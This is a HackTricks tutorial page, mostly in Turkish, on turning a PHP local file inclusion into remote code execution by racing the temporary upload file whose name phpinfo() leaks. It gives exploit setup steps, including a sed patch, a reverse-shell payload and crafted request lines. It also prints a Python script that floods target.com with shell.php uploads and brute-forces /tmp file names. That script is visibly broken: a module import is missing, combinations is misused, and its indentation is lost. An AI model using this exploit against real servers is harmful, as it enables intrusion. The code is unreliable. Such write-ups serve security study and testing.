LFI2RCE via phpinfo()

Support HackTricks

Bu açığı istismar etmek için şunlara ihtiyacınız var: Bir LFI açığı, phpinfo()'un görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Açığı düzeltmeniz gerekiyor ( => yerine => değiştirin). Bunu yapmak için şunları yapabilirsiniz:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

212KB
LFI-With-PHPInfo-Assistance.pdf
pdf

Teori

Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.

Sonra, web sunucusunda bir LFI açığı bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi istismar edebilirsiniz.

Windows'ta dosyalar genellikle C:\Windows\temp\php dizininde saklanır.

Linux'ta dosyanın adı genellikle rastgele olup /tmp dizininde bulunur. Ad rastgele olduğu için, geçici dosyanın adını bir yerden çıkarmak ve silinmeden önce ona erişmek gerekir. Bu, "phpconfig()" fonksiyonunun içeriğindeki $_FILES değişkeninin değerini okuyarak yapılabilir.

phpinfo()

PHP, 4096B'lık bir tampon kullanır ve tampon dolu olduğunda, istemciye gönderilir. Ardından istemci, büyük başlıklar kullanarak birçok büyük istek gönderebilir, php ters shell yükleyebilir, phpinfo()'un ilk kısmının geri dönmesini bekleyebilir (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce LFI açığını istismar ederek geçici dosyaya erişmeye çalışabilir.

İsimleri brute force denemek için Python scripti (uzunluk = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
HackTricks'i Destekleyin

Last updated